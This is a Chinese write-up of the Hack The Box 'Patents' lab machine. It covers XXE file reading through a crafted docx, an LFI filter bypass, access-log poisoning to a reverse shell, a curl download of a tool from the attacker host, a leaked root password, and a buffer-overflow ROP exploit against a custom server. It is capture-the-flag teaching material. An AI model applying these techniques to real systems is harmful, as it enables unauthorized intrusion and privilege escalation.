基本信息
端口扫描
80
一个Patents管理系统,存在一个上传接口,上传docx转换成pdf:
目录扫描
1 | gobuster dir -u http://10.10.10.173/ -w /usr/share/wordlists/dirb/common.txt -x php -b 403,404 |
发现一个release目录,进一步扫描:
发现更新log文件:
http://10.10.10.173/release/UpdateDetails
里面提到Docx2Pdf的相关漏洞
docx xxe
docx解压后里面是xml文件,可以尝试进行XXE:
添加一个xml进去,重新打包成docx:
监听端口,上传生成的docx,收到请求,说明存在XXE:
接下来需要做的就是通过XXE读取文件搜集信息
XXE LFI
1 | $ cat read.dtd |
上传,收到请求,base64解码后是读取的文件内容:
/etc/passwd
得到一个用户名 : gbyolo
/etc/apache2/sites-enabled/000-default.conf
前面扫描结果中有config.php,但直接去读/var/www/html/config.php是失败的,应该不是在默认的根目录,所以先读配置文件:
1 | <VirtualHost *:80> |
/var/www/html/docx2pdf/config.php
1 | <?php |
发现提示信息,getPatent_alphav1.0.php是存在漏洞的, 但无法直接读取这个文件的内容。
LFI to RCE
LFI
直接去访问getPatent_alphav1.0.php,提示通过ID读取内容:
直接尝试目录遍历读取失败:
但使用两次../嵌套的话,成功,说明后端处理应该是简单的移除掉一次../:
所以这里也存在一个LFI
log file
同样,我们也可以读取log文件var/log/apache2/access.log ,注意会直接输出客户端信息例如UA,:
如果将UA修改为php代码,那么响应的log中就会直接显示执行后的结果(如果前面扫描产生的日志太多,建议reset一下机器):
reverse shell
直接修改代码,反弹shell, 注意编码:
这个只是www-root用户,上传个pspy64收集信息:
1 | curl http://10.10.14.106:7777/pspy64 -o pspy64 |
注意到env中直接有一个密码
1 | !gby0l0r0ck$$! |
使用这个密码可以su切到root,但这个root并不是最终目标, 现在只是在docker里:
user flag
使用上面得到的root,可以在用户目录得到user.txt:
checker_client
前面也看到是cron运行的/opt/checker_client下的相关文件,我们检查下这些文件:
run_file.sh
1 | cat run_file.sh |
这个脚本检查/var/www/html/docx2pdf/convert.php的完整性,如果被修改,会进行还原。
checker.py
1 | cat checker.py |
其中的INPUTREQ类似HTTP请求格式,它计算convert.php的md5 hash,然后构造请求数据包,发送到10.100.0.1:8888,获取响应。200或者404响应脚本退出。如果发现文件损坏,则会GET请求下载新文件。
/usr/src/lfm
存在一个lfm目录,应该是和前面的lfmserver相关,是一个git repo:
可以把整个目录下载下来分析
1 | tar cvf /var/www/html/docx2pdf/src.tar lfm |
lfmserver
根据git log,回退到删除文件之前的版本,得到lfmserver的二进制文件,其他版本还能够得到源码:
1 | git reset --hard a900ccf7ae75b95db5f2d134d80e359a795e0cc6 |
逆向分析
整个过程可以结合git得到的源码
IDA直接F5出错,换Ghidra,在Symbol Tree中找到entry():
FUN_004055c2
这个函数是libc_start_main()的第一个参数,即main()函数,点进去右键 edit the signature.
主要功能大概是检查参数数量,然后调用FUN_00404978检查参数,这里为了方便修改为check_args()
Defined strings里也能发现之前在bash里看到的用户名密码:
FUN_00403ad9
Ctrl + Shift + F 查看密码的 references
可以看到有两次被作为函数参数使用,点击能够追踪到FUN_00403ad9函数,这个函数检查用户名和密码,检查通过会调用FUN_00402db9():
FUN_00402db9
这个函数三个参数,第一个参数是请求路径,第二个是大小为128的缓冲区,最后一个参数是请求路径的长度:
这个函数在路径中循环查找%字符,找到后会使用strtoul()将字符转换成数字,转换后的字符串保存到buf,很明显这是URL解码,server会将URL编码的字符进行解码。
同样很明显,如果超出缓冲区长度,没有进行检查来停止转换,这意味着这里存在overflow,可能地利用点。
回到之前的FUN_00403ad9函数,注意这里会检查文件是否存在,文件不存在会直接返回,那么就不会调用溢出的指针,我们可以通过请求一个已知文件,例如convert.php,并在末尾附加一个空字节,这样字符串在空字节处终止,也能够通过文件检查。
Exploit Development
常规的debug,leak addr,计算libc base,rop构造
注意点
- url编码
- sock_fd = 6
- dup2将stdin,stdout,stderr复制到sock fd
详情查看参考资料,视频也很详细
我用的是这个里面的exp
- HTB: Patents | 0xdf hacks stuff
https://0xdf.gitlab.io/2020/05/16/htb-patents.html#exploit
root shell
exp打到的shell很容易断,直接反弹shell后续操作:
这里因为python版本问题format输出不正常
但这个root shell没有root.txt:
lsblk & mount
lsblk发现root是/dev/sdb,另外还有个/dev/sda:
root flag
sda2是根目录,我们可以挂载sda2,在mount后的目录中存在另一个root目录,得到root.txt:
使用的exp
注意libc版本,用的这个:
https://launchpad.net/ubuntu/cosmic/amd64/libc6/2.28-0ubuntu1
1 | #!/usr/bin/env python3 |
参考资料
- https://file-examples.com/index.php/sample-documents-download/sample-doc-download/
- https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-words.txt
- https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#xxe-oob-with-dtd-and-php-filter](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection#xxe-oob-with-dtd-and-php-filter)
- Hack The Box - Patents Writeup | Chr0x6eOs
https://chr0x6eos.github.io/2020/05/16/htb-Patents.html - HTB: Patents | 0xdf hacks stuff
https://0xdf.gitlab.io/2020/05/16/htb-patents.html#exploit - HackTheBox - Patents - YouTube
https://www.youtube.com/watch?v=XqsURG_agvY